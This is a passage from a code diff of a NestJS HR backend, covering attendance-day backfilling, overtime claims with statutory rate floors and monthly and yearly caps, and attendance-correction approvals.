|
||||
|
||||
for (const workDate of AttendanceDayService.datesBetween(from, to)) {
|
||||
if (have.has(workDate)) continue;
|
||||
// Nothing before they joined — those days are not absences, they are days
|
||||
// this person did not work here.
|
||||
if (daysBetween(profile.hireDate, workDate) < 0) continue;
|
||||
|
||||
const schedule = await this.schedules.resolveFor(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
);
|
||||
const context = await this.days.contextFor(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
schedule,
|
||||
);
|
||||
const derived = AttendanceDayService.statusForUnworkedDay(context);
|
||||
|
||||
await this.attendance.create({
|
||||
organizationId,
|
||||
employeeId,
|
||||
workDate,
|
||||
workScheduleId: schedule?.id ?? null,
|
||||
status: derived.status,
|
||||
leaveRequestId: derived.leaveRequestId,
|
||||
notes: derived.notes,
|
||||
source: EAttendanceSource.SYSTEM,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<AttendanceRecord>);
|
||||
|
||||
byStatus[derived.status] = (byStatus[derived.status] ?? 0) + 1;
|
||||
created += 1;
|
||||
}
|
||||
|
||||
return { created, skipped: have.size, byStatus };
|
||||
}
|
||||
|
||||
findRange(employeeId: string, from: string, to: string) {
|
||||
return this.attendance.findRange(employeeId, from, to);
|
||||
}
|
||||
|
||||
async findAll(
|
||||
filters: {
|
||||
employeeId?: string;
|
||||
status?: EAttendanceStatus;
|
||||
from?: string;
|
||||
to?: string;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
},
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<AttendanceRecord>> {
|
||||
const [items, total] = await this.attendance.findPage({
|
||||
...filters,
|
||||
organizationId: orgScope(actor),
|
||||
});
|
||||
return paginate(items, total, filters.page ?? 1, filters.limit ?? 25);
|
||||
}
|
||||
|
||||
summary(
|
||||
from: string,
|
||||
to: string,
|
||||
actor: ActorContext,
|
||||
employeeId?: string,
|
||||
): Promise<Record<string, number>> {
|
||||
return this.attendance.summarize(orgScope(actor), employeeId, from, to);
|
||||
}
|
||||
|
||||
/** Today's record for one employee — what the clock widget shows. */
|
||||
async today(employeeId: string, at: Date): Promise<AttendanceRecord | null> {
|
||||
return this.attendance.findForDate(employeeId, at.toISOString().slice(0, 10));
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
private async resolveContext(
|
||||
employeeId: string,
|
||||
at: Date,
|
||||
actor: ActorContext,
|
||||
): Promise<{ organizationId: string; workDate: string }> {
|
||||
const employee = await this.iamDirectory.requireEmployee(employeeId);
|
||||
if (!employee.organizationId) {
|
||||
throw new BadRequestException(
|
||||
`Cannot resolve an organization for employee ${employeeId}`,
|
||||
);
|
||||
}
|
||||
this.assertInScope(employee.organizationId, actor);
|
||||
return {
|
||||
organizationId: employee.organizationId,
|
||||
workDate: at.toISOString().slice(0, 10),
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* An open record from the previous day, for a shift that ran past midnight.
|
||||
* Only the immediately preceding day: anything older is a missed check-out
|
||||
* and belongs in a regularization, not silently closed days later.
|
||||
*/
|
||||
private async findOpenPreviousDay(
|
||||
employeeId: string,
|
||||
workDate: string,
|
||||
): Promise<AttendanceRecord | null> {
|
||||
const previous = await this.attendance.findForDate(
|
||||
employeeId,
|
||||
new Date(Date.parse(`${workDate}T00:00:00Z`) - 86_400_000)
|
||||
.toISOString()
|
||||
.slice(0, 10),
|
||||
);
|
||||
if (!previous?.checkIn || previous.checkOut) return null;
|
||||
return previous.workSchedule?.crossesMidnight ? previous : null;
|
||||
}
|
||||
|
||||
private assertInScope(organizationId: string, actor: ActorContext): void {
|
||||
const scope = orgScope(actor);
|
||||
if (scope && organizationId !== scope) {
|
||||
throw new NotFoundException("Employee not found");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,510 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
import { InjectRepository } from "@nestjs/typeorm";
|
||||
import { Repository } from "typeorm";
|
||||
|
||||
import { ActorContext, orgScope } from "../../employees/employees.service";
|
||||
import { EmployeesRepository } from "../../employees/employees.repository";
|
||||
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
|
||||
import { Paginated, paginate } from "../../../common/pagination.dto";
|
||||
import {
|
||||
EOvertimeCategory,
|
||||
EOvertimeStatus,
|
||||
OvertimeRate,
|
||||
OvertimeRequest,
|
||||
} from "../entities/overtime.entity";
|
||||
import { AttendanceDayService } from "./attendance-day.service";
|
||||
import { WorkSchedulesService } from "./work-schedules.service";
|
||||
import { STATUTORY_OVERTIME_RATES } from "../statutory-overtime-rates";
|
||||
import { addDays } from "../../leave/services/working-days.service";
|
||||
import { CreateOvertimeDto } from "../dto/overtime.dto";
|
||||
|
||||
/** Art. 67 ceilings, applied across requests rather than per request. */
|
||||
const MAX_HOURS_PER_MONTH = 20;
|
||||
const MAX_HOURS_PER_YEAR = 100;
|
||||
|
||||
/** Night work under Art. 68(1)(b). */
|
||||
const NIGHT_STARTS_HOUR = 22;
|
||||
const NIGHT_ENDS_HOUR = 6;
|
||||
|
||||
@Injectable()
|
||||
export class OvertimeService {
|
||||
constructor(
|
||||
@InjectRepository(OvertimeRate)
|
||||
private readonly rates: Repository<OvertimeRate>,
|
||||
@InjectRepository(OvertimeRequest)
|
||||
private readonly requests: Repository<OvertimeRequest>,
|
||||
private readonly schedules: WorkSchedulesService,
|
||||
private readonly days: AttendanceDayService,
|
||||
private readonly employees: EmployeesRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* Seed the statutory premiums. Idempotent by category, and an existing rate is
|
||||
* never lowered back to the statutory floor — an employer who pays 2× for
|
||||
* night work keeps paying it.
|
||||
*/
|
||||
async seedStatutory(
|
||||
actor: ActorContext,
|
||||
): Promise<{ created: string[]; skipped: string[] }> {
|
||||
const organizationId = this.requireOrg(actor);
|
||||
const created: string[] = [];
|
||||
const skipped: string[] = [];
|
||||
|
||||
for (const seed of STATUTORY_OVERTIME_RATES) {
|
||||
const existing = await this.rates.findOne({
|
||||
where: { organizationId, category: seed.category },
|
||||
});
|
||||
if (existing) {
|
||||
skipped.push(seed.category);
|
||||
continue;
|
||||
}
|
||||
await this.rates.save(
|
||||
this.rates.create({
|
||||
...seed,
|
||||
organizationId,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<OvertimeRate>),
|
||||
);
|
||||
created.push(seed.category);
|
||||
}
|
||||
return { created, skipped };
|
||||
}
|
||||
|
||||
listRates(actor: ActorContext): Promise<OvertimeRate[]> {
|
||||
const organizationId = orgScope(actor) ?? actor.organizationId;
|
||||
return this.rates.find({
|
||||
where: organizationId ? { organizationId } : {},
|
||||
order: { category: "ASC" },
|
||||
});
|
||||
}
|
||||
|
||||
async updateRate(
|
||||
id: string,
|
||||
dto: { multiplier?: string; maxHoursPerDay?: string | null },
|
||||
actor: ActorContext,
|
||||
): Promise<OvertimeRate> {
|
||||
const rate = await this.rates.findOne({ where: { id } });
|
||||
if (!rate) throw new NotFoundException(`Overtime rate ${id} not found`);
|
||||
const scope = orgScope(actor);
|
||||
if (scope && rate.organizationId !== scope) {
|
||||
throw new NotFoundException(`Overtime rate ${id} not found`);
|
||||
}
|
||||
|
||||
// The statute is a floor. Refusing to go below it here is cheaper than
|
||||
// discovering it in a labour dispute.
|
||||
const statutory = STATUTORY_OVERTIME_RATES.find(
|
||||
(seed) => seed.category === rate.category,
|
||||
);
|
||||
if (dto.multiplier && statutory && Number(dto.multiplier) < Number(statutory.multiplier)) {
|
||||
throw new BadRequestException(
|
||||
`${rate.category} overtime cannot be paid below ${statutory.multiplier}× ` +
|
||||
`— that is the statutory minimum (${statutory.statuteReference}).`,
|
||||
);
|
||||
}
|
||||
|
||||
await this.rates.update(id, { ...dto, updatedBy: actor.userId });
|
||||
return (await this.rates.findOne({ where: { id } })) ?? rate;
|
||||
}
|
||||
|
||||
/**
|
||||
* Which premium applies to a stretch of work.
|
||||
*
|
||||
* A public holiday beats a rest day, which beats night, which beats ordinary
|
||||
* overtime — most generous first, because a shift can satisfy several and the
|
||||
* employee is owed the highest that applies.
|
||||
*/
|
||||
async categorize(
|
||||
employeeId: string,
|
||||
organizationId: string,
|
||||
workDate: string,
|
||||
startedAt: Date,
|
||||
endedAt: Date,
|
||||
): Promise<EOvertimeCategory> {
|
||||
const schedule = await this.schedules.resolveFor(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
);
|
||||
const context = await this.days.contextFor(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
schedule,
|
||||
);
|
||||
|
||||
if (context.isHoliday) return EOvertimeCategory.PUBLIC_HOLIDAY;
|
||||
if (!context.isWorkingDay) return EOvertimeCategory.REST_DAY;
|
||||
return OvertimeService.touchesNight(startedAt, endedAt)
|
||||
? EOvertimeCategory.NIGHT
|
||||
: EOvertimeCategory.DAY;
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether any part of the work falls in the night window.
|
||||
*
|
||||
* Any overlap counts as night, rather than splitting the claim in two. That is
|
||||
* the employee-favourable reading and it keeps one stretch of work as one
|
||||
* record; splitting would be defensible too, but it must then be done
|
||||
* consistently in payroll, and one rule in one place is worth more than a
|
||||
* marginally more precise rule in two.
|
||||
*/
|
||||
private static touchesNight(startedAt: Date, endedAt: Date): boolean {
|
||||
const cursor = new Date(startedAt);
|
||||
while (cursor < endedAt) {
|
||||
const hour = cursor.getHours();
|
||||
if (hour >= NIGHT_STARTS_HOUR || hour < NIGHT_ENDS_HOUR) return true;
|
||||
cursor.setMinutes(cursor.getMinutes() + 30);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
async create(
|
||||
dto: CreateOvertimeDto,
|
||||
actor: ActorContext,
|
||||
): Promise<OvertimeRequest> {
|
||||
const employeeId = dto.employeeId ?? actor.employeeId;
|
||||
if (!employeeId) {
|
||||
throw new BadRequestException(
|
||||
"No employee to file this against — this account has no employee record.",
|
||||
);
|
||||
}
|
||||
|
||||
const employee = await this.iamDirectory.requireEmployee(employeeId);
|
||||
const organizationId = employee.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
`Cannot resolve an organization for employee ${employeeId}`,
|
||||
);
|
||||
}
|
||||
const scope = orgScope(actor);
|
||||
if (scope && organizationId !== scope) {
|
||||
throw new NotFoundException(`Employee ${employeeId} not found`);
|
||||
}
|
||||
|
||||
const startedAt = new Date(dto.startedAt);
|
||||
const endedAt = new Date(dto.endedAt);
|
||||
if (endedAt <= startedAt) {
|
||||
throw new BadRequestException("endedAt must be after startedAt.");
|
||||
}
|
||||
|
||||
const hours = Number(
|
||||
((endedAt.getTime() - startedAt.getTime()) / 3_600_000).toFixed(2),
|
||||
);
|
||||
if (hours > 24) {
|
||||
throw new BadRequestException("A single claim cannot exceed 24 hours.");
|
||||
}
|
||||
|
||||
// The day the work belongs to — night work belongs to the day it began, so
|
||||
// a shift starting 22:00 Monday is Monday's overtime, not Tuesday's.
|
||||
const workDate = dto.workDate ?? startedAt.toISOString().slice(0, 10);
|
||||
|
||||
const category = await this.categorize(
|
||||
employeeId,
|
||||
organizationId,
|
||||
workDate,
|
||||
startedAt,
|
||||
endedAt,
|
||||
);
|
||||
const rate = await this.rates.findOne({
|
||||
where: { organizationId, category },
|
||||
});
|
||||
if (!rate) {
|
||||
throw new BadRequestException(
|
||||
`No ${category} overtime rate is configured for this organization. ` +
|
||||
"Seed the statutory rates first.",
|
||||
);
|
||||
}
|
||||
|
||||
await this.assertWithinLimits(
|
||||
employeeId,
|
||||
workDate,
|
||||
hours,
|
||||
category,
|
||||
rate,
|
||||
);
|
||||
|
||||
const profile = await this.employees.findByEmployeeId(employeeId);
|
||||
const approverEmployeeId =
|
||||
profile?.managerEmployeeId ??
|
||||
(await this.iamDirectory.findLineManagerEmployeeId(employeeId));
|
||||
|
||||
return this.requests.save(
|
||||
this.requests.create({
|
||||
organizationId,
|
||||
employeeId,
|
||||
workDate,
|
||||
startedAt,
|
||||
endedAt,
|
||||
hours: hours.toFixed(2),
|
||||
category,
|
||||
// Frozen here: a rate change next year must not reprice this claim.
|
||||
multiplier: rate.multiplier,
|
||||
status: EOvertimeStatus.SUBMITTED,
|
||||
reason: dto.reason ?? null,
|
||||
approverEmployeeId,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<OvertimeRequest>),
|
||||
);
|
||||
}
|
||||
|
||||
async approve(
|
||||
id: string,
|
||||
note: string | undefined,
|
||||
actor: ActorContext,
|
||||
): Promise<OvertimeRequest> {
|
||||
const request = await this.requireRequest(id, actor);
|
||||
this.assertPending(request);
|
||||
if (request.employeeId === actor.employeeId) {
|
||||
throw new ForbiddenException("You cannot approve your own overtime.");
|
||||
}
|
||||
|
||||
// Re-checked at approval: other claims may have been approved since, and the
|
||||
// monthly ceiling is about the total, not about any one request.
|
||||
const rate = await this.rates.findOne({
|
||||
where: { organizationId: request.organizationId, category: request.category },
|
||||
});
|
||||
await this.assertWithinLimits(
|
||||
request.employeeId,
|
||||
request.workDate,
|
||||
Number(request.hours),
|
||||
request.category,
|
||||
rate ?? null,
|
||||
request.id,
|
||||
);
|
||||
|
||||
await this.requests.update(id, {
|
||||
status: EOvertimeStatus.APPROVED,
|
||||
decidedByEmployeeId: actor.employeeId ?? null,
|
||||
decidedAt: new Date(),
|
||||
decisionNote: note ?? null,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return { ...request, status: EOvertimeStatus.APPROVED };
|
||||
}
|
||||
|
||||
async reject(
|
||||
id: string,
|
||||
note: string,
|
||||
actor: ActorContext,
|
||||
): Promise<OvertimeRequest> {
|
||||
const request = await this.requireRequest(id, actor);
|
||||
this.assertPending(request);
|
||||
await this.requests.update(id, {
|
||||
status: EOvertimeStatus.REJECTED,
|
||||
decidedByEmployeeId: actor.employeeId ?? null,
|
||||
decidedAt: new Date(),
|
||||
decisionNote: note,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return { ...request, status: EOvertimeStatus.REJECTED };
|
||||
}
|
||||
|
||||
async withdraw(id: string, actor: ActorContext): Promise<OvertimeRequest> {
|
||||
const request = await this.requireRequest(id, actor);
|
||||
this.assertPending(request);
|
||||
await this.requests.update(id, {
|
||||
status: EOvertimeStatus.WITHDRAWN,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return { ...request, status: EOvertimeStatus.WITHDRAWN };
|
||||
}
|
||||
|
||||
async findAll(
|
||||
filters: {
|
||||
employeeId?: string;
|
||||
status?: EOvertimeStatus;
|
||||
from?: string;
|
||||
to?: string;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
},
|
||||
actor: ActorContext,
|
||||
): Promise<Paginated<OvertimeRequest>> {
|
||||
const page = filters.page ?? 1;
|
||||
const limit = filters.limit ?? 25;
|
||||
const qb = this.requests.createQueryBuilder("request");
|
||||
|
||||
const scope = orgScope(actor);
|
||||
if (scope) {
|
||||
qb.andWhere("request.organization_id = :scope", { scope });
|
||||
}
|
||||
if (filters.employeeId) {
|
||||
qb.andWhere("request.employee_id = :employeeId", {
|
||||
employeeId: filters.employeeId,
|
||||
});
|
||||
}
|
||||
if (filters.status) {
|
||||
qb.andWhere("request.status = :status", { status: filters.status });
|
||||
}
|
||||
if (filters.from) qb.andWhere("request.work_date >= :from", { from: filters.from });
|
||||
if (filters.to) qb.andWhere("request.work_date <= :to", { to: filters.to });
|
||||
|
||||
const [items, total] = await qb
|
||||
.orderBy("request.workDate", "DESC")
|
||||
.skip((page - 1) * limit)
|
||||
.take(limit)
|
||||
.getManyAndCount();
|
||||
return paginate(items, total, page, limit);
|
||||
}
|
||||
|
||||
async findAwaitingMe(
|
||||
actor: ActorContext,
|
||||
page = 1,
|
||||
limit = 25,
|
||||
): Promise<Paginated<OvertimeRequest>> {
|
||||
if (!actor.employeeId) return paginate([], 0, page, limit);
|
||||
const [items, total] = await this.requests.findAndCount({
|
||||
where: {
|
||||
approverEmployeeId: actor.employeeId,
|
||||
status: EOvertimeStatus.SUBMITTED,
|
||||
},
|
||||
order: { workDate: "DESC" },
|
||||
skip: (page - 1) * limit,
|
||||
take: limit,
|
||||
});
|
||||
return paginate(items, total, page, limit);
|
||||
}
|
||||
|
||||
/**
|
||||
* Approved-hours totals for a period — what payroll multiplies.
|
||||
* Grouped by category because each carries a different multiplier.
|
||||
*/
|
||||
async approvedTotals(
|
||||
employeeId: string,
|
||||
from: string,
|
||||
to: string,
|
||||
): Promise<{ category: string; hours: number; multiplier: number }[]> {
|
||||
const rows = await this.requests
|
||||
.createQueryBuilder("request")
|
||||
.select("request.category", "category")
|
||||
.addSelect("SUM(request.hours)", "hours")
|
||||
.addSelect("MAX(request.multiplier)", "multiplier")
|
||||
.where("request.employee_id = :employeeId", { employeeId })
|
||||
.andWhere("request.status = :status", { status: EOvertimeStatus.APPROVED })
|
||||
.andWhere("request.work_date BETWEEN :from AND :to", { from, to })
|
||||
.groupBy("request.category")
|
||||
.getRawMany<{ category: string; hours: string; multiplier: string }>();
|
||||
|
||||
return rows.map((row) => ({
|
||||
category: row.category,
|
||||
hours: Number(row.hours),
|
||||
multiplier: Number(row.multiplier),
|
||||
}));
|
||||
}
|
||||
|
||||
// ────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/** Art. 67: two hours a day on an ordinary day, 20 a month, 100 a year. */
|
||||
private async assertWithinLimits(
|
||||
employeeId: string,
|
||||
workDate: string,
|
||||
hours: number,
|
||||
category: EOvertimeCategory,
|
||||
rate: OvertimeRate | null,
|
||||
excludeRequestId?: string,
|
||||
): Promise<void> {
|
||||
const live = [EOvertimeStatus.SUBMITTED, EOvertimeStatus.APPROVED];
|
||||
|
||||
/**
|
||||
* Half-open [from, until) rather than an inclusive BETWEEN.
|
||||
*
|
||||
* The inclusive form needs a real last-day-of-period, and constructing one
|
||||
* by string — `${month}-31` — is invalid in every 30-day month and in
|
||||
* February. It failed in September and passed in October, which is exactly
|
||||
* the sort of bug that reaches production.
|
||||
*/
|
||||
const sumOver = async (from: string, until: string): Promise<number> => {
|
||||
const qb = this.requests
|
||||
.createQueryBuilder("request")
|
||||
.select("COALESCE(SUM(request.hours), 0)", "total")
|
||||
.where("request.employee_id = :employeeId", { employeeId })
|
||||
.andWhere("request.status IN (:...live)", { live })
|
||||
.andWhere("request.work_date >= :from", { from })
|
||||
.andWhere("request.work_date < :until", { until });
|
||||
if (excludeRequestId) {
|
||||
qb.andWhere("request.id != :excludeRequestId", { excludeRequestId });
|
||||
}
|
||||
const row = await qb.getRawOne<{ total: string }>();
|
||||
return Number(row?.total ?? 0);
|
||||
};
|
||||
|
||||
if (rate?.maxHoursPerDay) {
|
||||
const sameDay = await sumOver(workDate, addDays(workDate, 1));
|
||||
const cap = Number(rate.maxHoursPerDay);
|
||||
if (sameDay + hours > cap) {
|
||||
throw new BadRequestException(
|
||||
`${category} overtime is capped at ${cap} hours a day` +
|
||||
(sameDay > 0 ? ` and ${sameDay} are already claimed` : "") +
|
||||
`. This claim of ${hours} would exceed it. (Proc. 1156/2019 Art. 67)`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const month = workDate.slice(0, 7);
|
||||
const monthTotal = await sumOver(
|
||||
`${month}-01`,
|
||||
OvertimeService.firstOfNextMonth(month),
|
||||
);
|
||||
if (monthTotal + hours > MAX_HOURS_PER_MONTH) {
|
||||
throw new BadRequestException(
|
||||
`Overtime is capped at ${MAX_HOURS_PER_MONTH} hours a month; ` +
|
||||
`${monthTotal} are already claimed for ${month}. (Art. 67)`,
|
||||
);
|
||||
}
|
||||
|
||||
const year = Number(workDate.slice(0, 4));
|
||||
const yearTotal = await sumOver(`${year}-01-01`, `${year + 1}-01-01`);
|
||||
if (yearTotal + hours > MAX_HOURS_PER_YEAR) {
|
||||
throw new BadRequestException(
|
||||
`Overtime is capped at ${MAX_HOURS_PER_YEAR} hours a year; ` +
|
||||
`${yearTotal} are already claimed for ${year}. (Art. 67)`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/** `2026-09` → `2026-10-01`. Rolls the year over at December. */
|
||||
private static firstOfNextMonth(month: string): string {
|
||||
const [year, monthNumber] = month.split("-").map(Number);
|
||||
return monthNumber === 12
|
||||
? `${year + 1}-01-01`
|
||||
: `${year}-${String(monthNumber + 1).padStart(2, "0")}-01`;
|
||||
}
|
||||
|
||||
private assertPending(request: OvertimeRequest): void {
|
||||
if (request.status !== EOvertimeStatus.SUBMITTED) {
|
||||
throw new BadRequestException(
|
||||
`This claim is already ${request.status.toLowerCase()} and cannot be ` +
|
||||
"decided again.",
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private requireOrg(actor: ActorContext): string {
|
||||
const organizationId = orgScope(actor) ?? actor.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
"This account has no organization, and overtime rates belong to one.",
|
||||
);
|
||||
}
|
||||
return organizationId;
|
||||
}
|
||||
|
||||
private async requireRequest(
|
||||
id: string,
|
||||
actor: ActorContext,
|
||||
): Promise<OvertimeRequest> {
|
||||
const request = await this.requests.findOne({ where: { id } });
|
||||
if (!request) throw new NotFoundException(`Overtime claim ${id} not found`);
|
||||
const scope = orgScope(actor);
|
||||
if (scope && request.organizationId !== scope) {
|
||||
throw new NotFoundException(`Overtime claim ${id} not found`);
|
||||
}
|
||||
return request;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
import {
|
||||
BadRequestException,
|
||||
ConflictException,
|
||||
ForbiddenException,
|
||||
Injectable,
|
||||
NotFoundException,
|
||||
} from "@nestjs/common";
|
||||
import { InjectDataSource, InjectRepository } from "@nestjs/typeorm";
|
||||
import { DataSource, Repository } from "typeorm";
|
||||
|
||||
import { ActorContext, orgScope } from "../../employees/employees.service";
|
||||
import { EmployeesRepository } from "../../employees/employees.repository";
|
||||
import { IamDirectoryService } from "../../../iam-directory/iam-directory.service";
|
||||
import { Paginated, paginate } from "../../../common/pagination.dto";
|
||||
import {
|
||||
AttendanceRegularization,
|
||||
ERegularizationStatus,
|
||||
} from "../entities/attendance-regularization.entity";
|
||||
import {
|
||||
AttendanceRecord,
|
||||
EAttendanceSource,
|
||||
} from "../entities/attendance-record.entity";
|
||||
import { AttendanceRepository } from "../repositories/attendance.repository";
|
||||
import { AttendanceDayService } from "./attendance-day.service";
|
||||
import { WorkSchedulesService } from "./work-schedules.service";
|
||||
import { CreateRegularizationDto } from "../dto/regularization.dto";
|
||||
|
||||
@Injectable()
|
||||
export class RegularizationsService {
|
||||
constructor(
|
||||
@InjectDataSource() private readonly dataSource: DataSource,
|
||||
@InjectRepository(AttendanceRegularization)
|
||||
private readonly regularizations: Repository<AttendanceRegularization>,
|
||||
private readonly attendance: AttendanceRepository,
|
||||
private readonly schedules: WorkSchedulesService,
|
||||
private readonly employees: EmployeesRepository,
|
||||
private readonly iamDirectory: IamDirectoryService,
|
||||
) {}
|
||||
|
||||
async create(
|
||||
dto: CreateRegularizationDto,
|
||||
actor: ActorContext,
|
||||
): Promise<AttendanceRegularization> {
|
||||
const employeeId = dto.employeeId ?? actor.employeeId;
|
||||
if (!employeeId) {
|
||||
throw new BadRequestException(
|
||||
"No employee to file this against — this account has no employee record.",
|
||||
);
|
||||
}
|
||||
|
||||
const employee = await this.iamDirectory.requireEmployee(employeeId);
|
||||
const organizationId = employee.organizationId;
|
||||
if (!organizationId) {
|
||||
throw new BadRequestException(
|
||||
`Cannot resolve an organization for employee ${employeeId}`,
|
||||
);
|
||||
}
|
||||
const scope = orgScope(actor);
|
||||
if (scope && organizationId !== scope) {
|
||||
throw new NotFoundException(`Employee ${employeeId} not found`);
|
||||
}
|
||||
|
||||
if (!dto.requestedCheckIn && !dto.requestedCheckOut) {
|
||||
throw new BadRequestException(
|
||||
"A correction must propose a check-in, a check-out, or both.",
|
||||
);
|
||||
}
|
||||
if (
|
||||
dto.requestedCheckIn &&
|
||||
dto.requestedCheckOut &&
|
||||
new Date(dto.requestedCheckOut) < new Date(dto.requestedCheckIn)
|
||||
) {
|
||||
throw new BadRequestException(
|
||||
"The proposed check-out is before the proposed check-in.",
|
||||
);
|
||||
}
|
||||
|
||||
const open = await this.regularizations.findOne({
|
||||
where: {
|
||||
employeeId,
|
||||
workDate: dto.workDate,
|
||||
status: ERegularizationStatus.SUBMITTED,
|
||||
},
|
||||
});
|
||||
if (open) {
|
||||
throw new ConflictException(
|
||||
`A correction for ${dto.workDate} is already awaiting a decision.`,
|
||||
);
|
||||
}
|
||||
|
||||
const record = await this.attendance.findForDate(employeeId, dto.workDate);
|
||||
const profile = await this.employees.findByEmployeeId(employeeId);
|
||||
const approverEmployeeId =
|
||||
profile?.managerEmployeeId ??
|
||||
(await this.iamDirectory.findLineManagerEmployeeId(employeeId));
|
||||
|
||||
return this.regularizations.save(
|
||||
this.regularizations.create({
|
||||
organizationId,
|
||||
employeeId,
|
||||
attendanceRecordId: record?.id ?? null,
|
||||
workDate: dto.workDate,
|
||||
requestedCheckIn: dto.requestedCheckIn
|
||||
? new Date(dto.requestedCheckIn)
|
||||
: null,
|
||||
requestedCheckOut: dto.requestedCheckOut
|
||||
? new Date(dto.requestedCheckOut)
|
||||
: null,
|
||||
reason: dto.reason,
|
||||
status: ERegularizationStatus.SUBMITTED,
|
||||
approverEmployeeId,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<AttendanceRegularization>),
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Approve, and apply the correction in the same transaction.
|
||||
*
|
||||
* The values being replaced are copied onto the request first. Without that,
|
||||
* approving destroys the only evidence of what the record said — and "the
|
||||
* system says I was late but I corrected it" is precisely the conversation
|
||||
* this feature exists to settle.
|
||||
*/
|
||||
async approve(
|
||||
id: string,
|
||||
note: string | undefined,
|
||||
actor: ActorContext,
|
||||
): Promise<AttendanceRegularization> {
|
||||
const request = await this.requireRequest(id, actor);
|
||||
this.assertPending(request);
|
||||
if (request.employeeId === actor.employeeId) {
|
||||
throw new ForbiddenException(
|
||||
"You cannot approve your own attendance correction.",
|
||||
);
|
||||
}
|
||||
|
||||
const schedule = await this.schedules.resolveFor(
|
||||
request.employeeId,
|
||||
request.organizationId,
|
||||
request.workDate,
|
||||
);
|
||||
|
||||
return this.dataSource.transaction(async (manager) => {
|
||||
const records = manager.getRepository(AttendanceRecord);
|
||||
const existing = await records.findOne({
|
||||
where: { employeeId: request.employeeId, workDate: request.workDate },
|
||||
});
|
||||
|
||||
const checkIn =
|
||||
request.requestedCheckIn ?? existing?.checkIn ?? null;
|
||||
const checkOut =
|
||||
request.requestedCheckOut ?? existing?.checkOut ?? null;
|
||||
|
||||
if (!checkIn) {
|
||||
throw new BadRequestException(
|
||||
"This correction sets only a check-out, and there is no check-in on " +
|
||||
"the record for it to close. Propose both.",
|
||||
);
|
||||
}
|
||||
|
||||
const measured = AttendanceDayService.measure(
|
||||
schedule,
|
||||
request.workDate,
|
||||
checkIn,
|
||||
checkOut,
|
||||
);
|
||||
const status = checkOut
|
||||
? AttendanceDayService.statusForWorkedDay(schedule, measured)
|
||||
: existing?.status ?? AttendanceDayService.statusForWorkedDay(schedule, measured);
|
||||
|
||||
const applied = {
|
||||
checkIn,
|
||||
checkOut,
|
||||
status,
|
||||
...measured,
|
||||
isRegularized: true,
|
||||
source: EAttendanceSource.MANUAL,
|
||||
workScheduleId: schedule?.id ?? null,
|
||||
updatedBy: actor.userId,
|
||||
};
|
||||
|
||||
if (existing) {
|
||||
await records.update(existing.id, applied);
|
||||
} else {
|
||||
await records.save(
|
||||
records.create({
|
||||
organizationId: request.organizationId,
|
||||
employeeId: request.employeeId,
|
||||
workDate: request.workDate,
|
||||
...applied,
|
||||
createdBy: actor.userId,
|
||||
} as Partial<AttendanceRecord>),
|
||||
);
|
||||
}
|
||||
|
||||
await manager.getRepository(AttendanceRegularization).update(request.id, {
|
||||
status: ERegularizationStatus.APPROVED,
|
||||
// Captured now, not at submission — the record may have moved since.
|
||||
originalCheckIn: existing?.checkIn ?? null,
|
||||
originalCheckOut: existing?.checkOut ?? null,
|
||||
originalStatus: existing?.status ?? null,
|
||||
decidedByEmployeeId: actor.employeeId ?? null,
|
||||
decidedAt: new Date(),
|
||||
decisionNote: note ?? null,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
|
||||
return { ...request, status: ERegularizationStatus.APPROVED };
|
||||
});
|
||||
}
|
||||
|
||||
async reject(
|
||||
id: string,
|
||||
note: string,
|
||||
actor: ActorContext,
|
||||
): Promise<AttendanceRegularization> {
|
||||
const request = await this.requireRequest(id, actor);
|
||||
this.assertPending(request);
|
||||
await this.regularizations.update(id, {
|
||||
status: ERegularizationStatus.REJECTED,
|
||||
decidedByEmployeeId: actor.employeeId ?? null,
|
||||
decidedAt: new Date(),
|
||||
decisionNote: note,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return { ...request, status: ERegularizationStatus.REJECTED };
|
||||
}
|
||||
|
||||
async withdraw(
|
||||
id: string,
|
||||
actor: ActorContext,
|
||||
): Promise<AttendanceRegularization> {
|
||||
const request = await this.requireRequest(id, actor);
|
||||
this.assertPending(request);
|
||||
await this.regularizations.update(id, {
|
||||
status: ERegularizationStatus.WITHDRAWN,
|
||||
updatedBy: actor.userId,
|
||||
});
|
||||
return { ...request, status: ERegularizationStatus.WITHDRAWN };
|
||||
}
|
||||
|
||||
async findAll(
|
||||
filters: {
|
||||
employeeId?: string;
|
||||
status?: ERegularizationStatus;
|
||||
page?: number;
|
||||
limit?: number;
|
||||
},
|
||||
actor: ActorContext,
|
||||
